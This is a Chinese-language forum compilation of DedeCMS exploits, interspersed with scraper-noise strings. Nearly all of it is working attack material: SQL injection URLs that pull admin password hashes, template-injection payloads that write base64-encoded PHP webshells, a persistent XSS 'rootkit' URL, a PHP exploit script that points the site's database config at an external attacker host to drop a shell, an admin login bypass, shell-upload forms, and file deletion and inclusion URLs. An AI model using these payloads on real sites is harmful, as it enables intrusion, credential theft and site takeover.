dedecms漏洞总结

admin

3 x: ~5 X+ G& u6 c7 W- _& qDedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

' ^  ^0 d! }. ~. U; v


) d/ ]8 j1 w1 `3 u
7 k, {3 g2 `# S

  I9 M0 g( T3 s4 O( e
  A' S" w2 ~: E; Q  gDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
9 o# i) V4 d: z, y/ h2 Ya{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。



4 u. b. [! ^( v2 E8 t6 M+ W  B) F
$ Z7 D3 D; W7 Y& [# x3 [



Dede 5.6 GBK SQL注入漏洞
3 D& P' k( u+ Fhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
* l7 `! [4 ]. L2 f9 N" n5 L8 J9 Lhttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
' [7 F, g* }( @& V" V$ F, @, R

+ V7 F& ]$ m8 x
2 p$ I% ?/ h0 h6 e  }1 J, H


8 ~  r9 h6 V. R  _6 O

DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
' C! y* {& k( x; p( U# x, v7 o3 c
5 o- A, [1 w" m: W
$ V; l1 f) E$ t



/ `( @) a' _8 cDEDECMS 全版本 gotopage变量XSS漏洞
% v$ \- A* C' `3 y0 l" _1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
) _& r7 P# C0 T; {' Khttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

1 k) E0 b+ F3 v% S5 g3 s
+ A6 r% T+ p) l7 f2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

6 D- c1 Y# w( ]; L. f
http://v57.demo.dedecms.com/dede/login.php


color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
);
2 V3 H. R; x. Q1 s' Iecho "\r\n";
if($argv[2]==null){
print_r('
! U9 f4 q# x  r& M0 h2 _1 f- K0 V+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
& q0 ~) _, v$ h% `- c8 daid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
8 U! S* m# F/ a3 V) D+---------------------------------------------------------------------------+
9 U/ ?5 U* ?6 U" z0 Q) n& Q');
2 t& v+ k) n5 R  X$ Z0 X( R+ [5 w  Kexit;
& P! S' [# n' \}
$url=$argv[1];
& i9 {! P, I  n) d& Y. {  v1 v$aid=$argv[2];
0 p8 `' n4 D& s8 _* X. J$path=$argv[3];
# q9 Y5 X9 ?: B& k$exp=Getshell($url,$aid,$path);
( a+ H4 B9 B8 ]4 uif (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
4 ?1 N4 s  f  j# q# X# C' ]
; n) u6 N2 x; N9 V, N! P
if($aid==2)echo "
' ^3 D1 p/ G6 {Shell:".$url."/$path/fuck.php\n" ;
  n! C' ~+ a6 u# m
+ d5 x5 i- g4 R
, L1 _$ Y' F2 _/ Jif($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";
3 r" t: P% I8 C" z( L% k

  u* C  n# m3 B! f2 H}else{
echo "
Exploit Failed \n";
}
function Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
  p) {0 c9 T7 ]% |/ \$ K$port="80";
1 J& g3 B  U) D/ I/ z) H2 \" g$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
) j1 H0 o: y  N* e! u2 T/ C* O$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
, ~+ l% B4 W4 D! H( _$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
: E, H$ Z+ |) x& t; c+ ]: g3 A$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
& G# y  F0 }- Z8 E$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
( s- A; o1 u% ^. r( }$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
+ a! P4 O4 \7 E: G7 m2 A& r7 r  c$ock=fsockopen($host,$port);
if (!$ock) {
2 |0 o8 N  a3 I' `$ \  }8 u9 Mecho "
No response from ".$host."\n";
}
1 k( l4 I# _6 p, g; rfwrite($ock,$data);
% i1 A* ^! F4 i# X; }5 B6 swhile (!feof($ock)) {
& X( t* s- X5 _' Z0 b1 \  c/ Y$exp=fgets($ock, 1024);
return $exp;
, R, g8 d8 l0 _8 S6 s0 K}
; |2 E6 m- t* Z}

+ O# N8 m. \' j2 e' \- S6 r3 N8 Q/ D/ @
8 U1 O$ j% L- ?: E/ B* G( z" @?>



% M7 f8 c% ^8 Q+ W* I



) S/ D4 x8 `- g6 Z5 c, j
9 R  f( N* y$ u- h: L( `/ e
% L' V7 k: j* x* k, u5 z6 q
DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
: W5 J5 Y9 Y4 V( g1 R" @0 A

把上面validate=dcug改为当前的验证码，即可直接进入网站后台

# x4 q1 F7 o2 W6 E+ L$ ]( J
+ c8 T5 m' _' O, ~此漏洞的前提是必须得到后台路径才能实现

; O9 Z/ b8 x2 H/ P
! @1 j' K/ g4 r6 O
; i+ o) o/ j+ g$ \* |
# M9 j" `) s* f

7 R: x. T' d5 G7 G. R6 q

! Q% K/ y3 t6 M/ ?) u; h

Dedecms织梦 标签远程文件写入漏洞
% Z/ u  J7 X; Z" U前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
7 p+ S( @) ~/ t
- G1 x; r' z. p8 {: I
4 |0 ~' F) s0 R; Q再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
* g  b7 T: b/ f5 Y9 q3 x<form action="" method="post" name="QuickSearch" id="QuickSearch">
) l% \% h( o1 K2 [9 b2 t$ O<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
' h, M% |% S( y' m<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
+ t$ d% U) p& U& \  R) H<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
' \5 a" }2 h( K+ n7 Z0 h7 j</form>
<script>
function addaction()
{
$ V: N) N' \$ ~* J! @document.QuickSearch.action=document.QuickSearch.doaction.value;
" a3 R4 t( [  D- M& l$ q2 e}
</script>
5 B1 j  P2 [/ l' N: A- @4 T& D
  y" R; f( Q; R8 J# K7 x) O0 @; u0 d







; q/ D4 h$ A' `- U6 X) c9 x
DedeCms v5.6 嵌入恶意代码执行漏洞
' t: H- j1 k, E* G注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
* d& z' D+ i6 I; ra{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg

1 q/ {6 R, Q4 ^5 L
! h. z; A. N* ]& z) B# M. ~# ]模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
5 _+ @# [/ _% J" \% e- d@fclose($fp);
{/dede:name}
7 P; P! {4 V- x  q* I! O3 y2 修改刚刚发表的文章，查看源文件，构造一个表单：
. F" U' B4 Y/ F0 n& J<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
3 ]# {9 Q7 S6 r# n. w<input type="hidden" name="dopost" value="save" />
" r9 Z1 f: f  B* I, [: T<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
% S# H, [1 z0 T3 K! d  o" J<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
+ _3 u; w. B/ ^7 R. j) w5 z% c, C! I<input type="hidden" name="sortrank" value="1275972263" />


& g: }$ [9 Z+ q7 L" g4 D2 a<div id="mainCp">
) Y4 C0 E4 P$ [) H6 a' F<h3 class="meTitle"><strong>修改文章</strong></h3>
" A2 `% s% L4 ^0 I

<div class="postForm">
<label>标题：</label>
  m; z9 z' s9 g; X0 A" @& U6 l7 d- j<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>

8 M: F# i& g, B7 w' [/ z8 ~
<label>标签TAG：</label>
6 a+ y: {3 u0 [: c8 w. Q<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)


! t% I* Q- w8 F9 L! V8 ]<label>作者：</label>
" S+ A. b9 m$ F5 Y<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


9 {; A! }( V0 s; X: B3 O$ h7 L<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
& _3 _" O" c4 L9 ]6 a0 n5 D: r</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
% _/ [+ R7 I6 x% W, W

<label>我的分类：</label>
  N9 h5 F" Z# G" D; a2 S) J" d0 H3 |<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>
1 g8 T4 K2 w, v/ f
$ d, F9 B8 t8 Y& c' n4 ]
<label>信息摘要：</label>
7 D0 V9 B1 K; y$ [/ `<textarea name="description" id="description">1111111</textarea>
( f7 `; X* E2 O(内容的简要说明)


<label>缩略图：</label>
! f- e/ {$ x( j  I$ Q* j3 i<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

, r2 g, Z) V$ l
<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
1 m$ K( i; d9 m) B6 K5 Avalue="templet,htmltext;">（这里构造）
" f. y* d# X$ u: o/ ^0 P</div>


# w- n5 H: U% f<!-- 表单操作区域 -->
4 @0 P# o4 Y0 q& {# \/ t1 _<h3 class="meTitle">详细内容</h3>


<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
( t& Q2 U1 ]9 o$ \

' ]2 b( F6 d- h; Q<label>验证码：</label>
/ ?5 t/ [( m5 B% @$ J% k" S<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
! G+ t3 A4 q' Z5 r4 [
& _$ U( ^: Q& W+ U7 r
<button class="button2" type="submit">提交</button>
& C- Y6 `; j7 C; r<button class="button2 ml10" type="reset">重置</button>
</div>

. c7 f& O8 n" }+ ?. Z' C5 y: W5 ~
</div>


! O' T# ?* f1 c! P</form>
$ S% h( S4 \2 ?9 k- z( h& a

提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
. q( @5 j; e" S( c& q% g: p$ ?& q假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
3 }$ s( J, N( z( w$ p8 |/ C% R即可以在plus目录下生成webshell：1.php

8 K6 s' }+ V1 ~& t+ E3 P- s




0 O$ j5 r9 o- K6 C& a! P

) O7 a9 [9 W; _  w2 _/ w* {

3 N0 V( D! [( L3 z5 `( N

DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
' A* D- d' Q1 P* X8 H" f% n<input type="hidden" name="aid" value="7" />
! v, _+ v# G8 O7 t  w8 N<input type="hidden" name="mediatype" value="1" />
. A* i6 V/ r9 T8 P! L" ~! J5 g! a<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
0 F' _9 S1 z/ o; i5 L$ |<input type="hidden" name="dopost" value="save" />
; `, X5 Y$ D) _* f1 Z+ ?<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
; y! j( @  t3 d( i<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>
( |; @; {$ }2 L) I" b" V
& U* x$ f8 ^* v0 P( b7 S2 O( g
  w9 r$ _, D9 z构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
7 {- j8 j( E* ^4 G" a  g发表文章，然后构造修改表单如下：

# X: b7 {7 s) s; U  ?
$ ^4 L! N2 o- ~9 ?5 e% \* N1 P<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
9 J" g; P+ `1 B  g: |<input type="hidden" name="channelid" value="1" />
  k: U, o1 U4 c# I5 \* H<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
+ K% j# O( m+ m) I& h2 g. C$ F<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
# n; J3 W- Q5 b, F) s- y<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
  v. w( s' Z  D+ {, `<select name='mtypesid' size='1'>
' ?. q! W* j! b; a. g- V: |<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
9 I4 l) g& v( r<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
$ b3 A7 z8 G! D6 o- v/ `<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
( H. b2 ^/ N9 g5 W</form>

" v% `" c- H6 c. {- M; H

& f0 x4 k& s, I' _( X


% k: X6 H* ?8 N0 G& C




! ^% I8 Y; L4 \( X6 s
织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif



; W; J- [' z& l9 Q2 v. V( ?  z
5 X2 \4 C; e/ D" v' r# i
( t& I  e, C+ C$ \6 C1 m
( ~9 f& ?) Z4 }6 I" r$ L



2 u+ r& A" K7 g: r织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../

# T5 x8 Y4 v, a. |: s( `. L



6 D/ |7 b: l, i; U" z! U/ u




DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
  j7 p9 o% L, ^/ ~* R0 Pplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

# Y" x; b# j4 u


! Q7 G9 X2 A) O/ l# q& g& L

6 [" Q+ g9 Q$ t/ R
" H9 j  S/ N( ~6 o2 }

1 m1 Q- |- c" c
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
4 \0 H  b+ N$ w* V1 S' u* a0 |http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='


% `3 [4 v, Y$ g
* o- c0 u; F$ \" @7 j0 v
! A+ K7 S4 N0 {$ E( n- K/ L

* X# ^* j; `" z+ |3 T7 P6 U7 H. H/ u
' X6 _  y: p. U
- w% N( K0 w# ]/ m8 g1 w
) ]% a: j! D% Z
8 s7 V' Q+ I- p  W织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
3 l: o8 q6 e/ e$ G, P<html>
<head>
8 t6 V' c+ U' K( ^( f4 e9 S9 T# T<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
/ {) N! Y) {( [& @/ H</head>
<body style="FONT-SIZE: 9pt">
( O  H# C2 l( j( E, z4 x---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
9 G, U1 D0 R  y8 T<input type='hidden' name='cfg_not_allowall' value='txt' />
* [  y( h$ I  S<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
3 A) N5 x& M0 `5 a<input type='hidden' name='job' value='upload' />
! A9 ^3 m5 L  ^  l3 D1 T9 k2 t! @2 \<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
; c8 n( r  d8 o" }' n3 |0 b7 e" M  [<input type='submit' name='sb1' value='确定' />
6 M8 I" D) q% K' v$ D" ~& H9 ?</form>
) H8 Z" |' C! p3 b<br />It's just a exp for the bug of Dedecms V55...<br />
4 ^6 f: _' w; {- X$ `4 ?9 PNeed register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>
/ S  ~# p- }6 g( H$ g1 g


! C9 i: _" A! \' Y

8 S, y0 A: U' E' }




织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
" w1 d! ~0 w7 t/ t1 E5 r1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
: i8 ]- C: x) D+ z4 _4 |

4 d1 L5 T. T$ Q, u2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
$ l' Z0 P+ y% K* l# T3 P
- I! w7 d5 T/ V0 p; P! c
3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
  b9 ?- ~) \9 ?7 ?4 M* B
, Z- B3 ?1 f: T( z7 @
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

& }3 Q" n1 ^0 F/ R
& t! J$ Z- k( \; w+ Z( @6 ]按确定后的看到第2步骤的信息表示文件木马上传成功.



  @4 u( K3 o- X1 i






  N6 s. I! O5 U7 O. Q1 O
& T$ K2 h% {; w5 A1 R) c6 O
/ h: m) Y3 t5 X! W' J织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*